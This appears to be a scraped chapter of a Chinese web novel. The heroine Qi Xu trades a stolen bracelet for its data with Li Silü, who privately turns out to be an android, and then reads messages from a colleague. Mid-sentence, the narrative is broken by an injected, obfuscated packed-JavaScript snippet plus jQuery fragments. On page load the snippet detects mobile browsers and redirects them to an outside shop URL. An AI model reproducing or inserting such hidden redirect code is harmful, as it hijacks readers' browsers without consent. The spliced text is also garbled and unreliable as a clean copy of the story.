她要打开这个手环。


    手指在手环边缘摩挲，她目光幽幽落在礼斯律身上。


    既然他想要拿到鲁坤的手环，他一定有办法打开。


    戚许注视他时间有点久，礼斯律感受到了她灼热的目光，这道目光带着某种强烈目的性。


    他谨慎地往后缩了缩，整个后背靠在墙上。


    冰凉的墙壁就像一个永远跨不过的安全屋，他恨不得墙马上裂开一道缝隙，把他吸进什么黑洞里，不管吸到哪里都行，只要再也不用面对戚许的目光。


    “那个……”


    她刚一出声，礼斯律明显抖了一下，他垂着眼睛不看戚许，一米九的身体缩成一团，像只被遗弃的巨型犬。


    戚许往前挪了点，礼斯律立刻想要往后退，奈何背后是堵结实的墙。


    该死的墙，该死的结实。


    他低着头，鼓足勇气，试探着抬眼，小心翼翼对上戚许的目光。


    “我想了想，还是听你解释吧。”戚许说。


    礼斯律眉头一皱，探究的眼神几乎要在戚许脸上挖个洞，看看她到底有几分真心。


    “真的？”礼斯律警惕问她。


    “真的。”戚许也坐下来，往他的方向靠近。


    礼斯律身体放松了一点，他调整了下坐姿，凌厉的眼角此刻填满与之不符的委屈，宽阔的后背现在也塌下来，他低头看着戚许。


    “肖雨的确是我们计划中的一部份，但上次的任务遇到了意外。你上次在场，应该知道……那个中尉。”


    她当然知道，那个把飞蛾引到联邦大楼的疯子。


    “知道。”戚许点头。


    “我们原本是想在那次联邦高层会议想办法拿到肖雨的手环的，但我们收到风声的时候，异种已经靠近人类基地了，飞蛾移动速度太快，我们来不及阻拦。”


    的确，中尉买通了一路上所有的关键安保关卡，确保飞蛾能够飞进来，他的计划完备且隐蔽，礼斯律他们能提前收到风声已经能算得上消息灵通。


    看戚许没什么反应，礼斯律沉声继续说下去：“当时人工智能被屏蔽，我联系不到陈让尘，没办法联系到她。”


    戚许点头。


    “陈让尘回来跟我说，肖雨受伤之后，她想要尝试从他手上取下手环，但是……”


    “他异化了。”戚许接上他的话。


    礼斯律没想到戚许会帮他说话，愣了一下：“嗯，手环跟他一起被焚烧炉烧干净了。”


    他垂着脑袋，像供述自己罪行一样，供述他和陈让尘的计划。


    “不过，那次任务的机会来得突然，我们计划得很粗糙，又撞上异种入侵，她能活着出来就已经很好了，我们没敢奢望那次任务能成功。”礼斯律补充道。


    “嗯。”戚许回应，“明白。”


    “昨天晚上，陈让尘约我见面，说安普找上你了，她觉得烽塔科技可能对你不利，说要加快计划进度。”


    礼斯律两只手在戚许面前摊开：“研究院里能接触到变异植物资料的只有两个人，一个是肖雨，另一个是鲁坤。”


    “所以你们制定了今天的计划，无论如何都要从鲁坤手里拿到资料。”戚许顺着他的的话说下去。


    “是。”说到这，礼斯律上身往前探了探，深蓝色的眼睛真诚地看着她，“但我没用嗜血玫瑰。”


    不等戚许回应，玫瑰先耐不住性子了。


    “你信他吧。”玫瑰不屑地哼了一声，“他就算指挥我，我也不会听他的。”


    “今天是你自己的计划？”戚许扭过头轻声问玫瑰。


    “算是吧，他安排的变异植物感知到我，扭头就走了。”玫瑰说这话的时候，还带着傲慢。


    低级异种对高级异种天然带着恐惧，有些异种见到戚许就俯首称臣，一样的道理。


    今天……也是个意外。


    好在有戚许，虽然不顺利，但任务还是完成了。


    “手环我拿到了。”戚许坦诚地说。


    礼斯律倏然瞪大眼睛：“真的？”


    “嗯。”戚许挑眉，“但我有个要求。”


    “你说。”礼斯律没有惊讶，只是安静听着。


    “我要得到手环里的所有资料。”戚许着重强调了“所有”。


    礼斯律几乎没有犹豫就回答：“可以。”


    戚许以为自己会和他纠缠良久，没想到这么快完成交易，她攒了一身力气却没地方使，空空握了两下拳头。


    “这么痛快？”她勾唇笑起来。


    “手环是你拿到的，即使你不来找我，也有别的办法打开。你愿意遵守约定来找我，我没什么好犹豫的，没有不答应的道理。”礼斯律比她更坦诚。


    “你要怎么打开？”戚许问。


    “这里不行，手环你保管好，明天我带你去个地方。”礼斯律回答。


    戚许点头，交易结束。


    礼斯律手指重新搭上脖子，枪口留下的痕迹还很明显。


    “那个……”戚许垂下眼睛，避开他脖子上明显的红痕，“我刚刚……你这个……我有点……”


    “没关系。”礼斯律忽略了她难出口的道歉，直接给出回答。


    戚许舔舔嘴唇，避开眼神点了点头。


    “对了，这个还你。”戚许伸出手，他的手环躺在手心。


    礼斯律伸手接过，一声不吭。


    房间安静得让人心慌，戚许绞尽脑汁，想缓解尴尬的气氛。


    “要不……明天一起吃饭？”戚许想想，又补了一句，“我请客。”


    礼斯律往后一靠，深邃的五官里尽是淡然：“不吃。”


    “哦。”戚许应了一声，站起身往外走。刚走出两步，又站住。


    毕竟她动手在先，总觉得自己有讲和的义务。她回头看着还坐在地上的礼斯律，再次开口。


    “可以选你爱吃的，”戚许摸摸鼻子，声音小了点，“吃蔬菜也可以。”


    “哈？”玫瑰在她身体里发出戚许不爱听的动静。


    戚许暗地白了它一眼，等礼斯律回答。


    他笑起来，眯着眼睛，跟她第一次见他的时候一样。


    “明天不饿。”他说。


    幸亏他长得好看。


    戚许撇撇嘴，什么也没说出来，转身走了。


    刚出门，戚许迎面撞上匆匆赶来的陈让尘，她把戚许完完整整上下看了一遍，见她没缺胳膊断腿，这才长长舒了口气。


    看戚许这副脸上带着怨气的模样，陈让尘心里又是一紧：“礼斯律呢？”


    一听这名字，戚许就没好气，她皱了皱鼻子：“饿死了。”


    说完，她抬腿就往外走。


    陈让尘听得一头雾水，急急忙忙走进房间里一看，礼斯律靠坐在墙边，得意地抬手和她打了个招呼。


    还活着呢，活得还挺高兴。


    陈让尘给他递了个眼神，转身去追戚许了。


    房间重新安静下来，礼斯律看着相继消失在门口的身影，收起笑容。


    他单手撑地站起身，另一只手握着魔方，没让它沾到一点灰尘。


    他走到桌前，对着墙壁上金属的反光面又仔细看了看脖子上的痕迹。


    他拉开抽屉，从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845208|178671||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    暗格里取出一个小罐子。


    打开盖子，里面是透明的膏状物，他用手指沾了点涂在脖子上。皮肤上的痕迹随着手指的动作渐渐变浅，直到消失不见。


    他盖好瓶盖，把小罐子放回暗格里。


    盖子上，一行阴刻的文字：仿生人专用皮肤修复膏。


    咔哒，暗格关闭，光线被隔绝在外，连同这个秘密一起被他锁在阴暗的深处。


    他站在桌前，攥着的手环上还残留着戚许手心的温度。


    他想和她去吃饭。


    但他没有爱吃的东西，也不该吃饭。


    黑色魔方里闪着微弱的光，他手指在棱块上轻轻抚摸。


    这是仿生人的心脏。


    他苦笑一声，笑自己，也笑戚许。


    如果她知道，在他的胸膛里有一个一模一样的魔方，会是什么反应？


    大惊失色地逃走？还是质问他为什么没有颈环，不用遵循仿生人圣律？


    他不想知道。


    他甚至不该叫它魔方，这是他的动能元件。


    他抬起手，摸向心脏的位置，它规律地跳动着，竭尽全力模仿着人类的心跳。


    ……


    特殊事件调查局。


    陈让尘拖着戚许来领新的手环。


    戚许今天累得要命，原本想直接回家一头栽在地铺上睡觉，但陈让尘用糖醋排骨要挟她。


    馋虫战胜瞌睡虫，她迷迷糊糊行尸走肉般游荡在特调局大楼里。


    不知道在技术中心站了多久，手腕冰凉触感把她拉回现实。


    她低头看，陈让尘正在给她戴新手环。


    轻微而密集的刺痛感传来，黄昏的声音久违地在脑中响起。


    “调查员戚许，连接成功，欢迎回来。”


    “恭喜，你发布的帖子浏览量已突破5万。”


    “恭喜，你发布的帖子浏览量已突破10万。”


    “恭喜，你发布的帖子浏览量已突破20万。”


    ……


    “恭喜，你发布的帖子浏览量已突破50万，5万金币奖励已发送至账户，请查收。”


    跟这些提示一起涌进来的还有几条消息。


    时泰：活着吗？


    时泰：说话说话说话。


    时泰：我看到你们小队任务完成了，受伤没？


    时泰：没有在关心你，就是好奇。


    时泰：理我。


    时泰：理我理我理我。


    时泰：我靠，你把研究院大楼炸了？！


    时泰：[图片]


    时泰：你干的？


    戚许点开图片，乍一看是无数细密的藤蔓缠绕而成的一个巨大的立方体。


    藤蔓已经枯萎，棕褐色的枯枝败叶有一层楼那么高。


    顺着藤蔓之间的缝隙看进去，一排排透明的培养仓躺在里面。藤蔓保护下，里面的培养仓没有一点受损痕迹。


    戚许用藤蔓把暗门背后的整个实验室缠绕打包，阻止异常植物出逃。


    现在，它像个巨大的礼物立在建筑残骸中间。


    去拆礼物的人，是时泰。


    戚许：送你的，不客气。


    时泰：我的天呐！！！你真是我祖宗！！！


    时泰：这么多异种……我未来一个月都得在异常生物部加班……


    时泰：我做鬼都不会放过你的！！！


    戚许关掉手环，任由消息提示发疯一样闪个不停，也不低头看一眼。


    “怎么了？”陈让尘注意到她手环上的提示，“谁？”


    “卖保险的。”戚许随口答。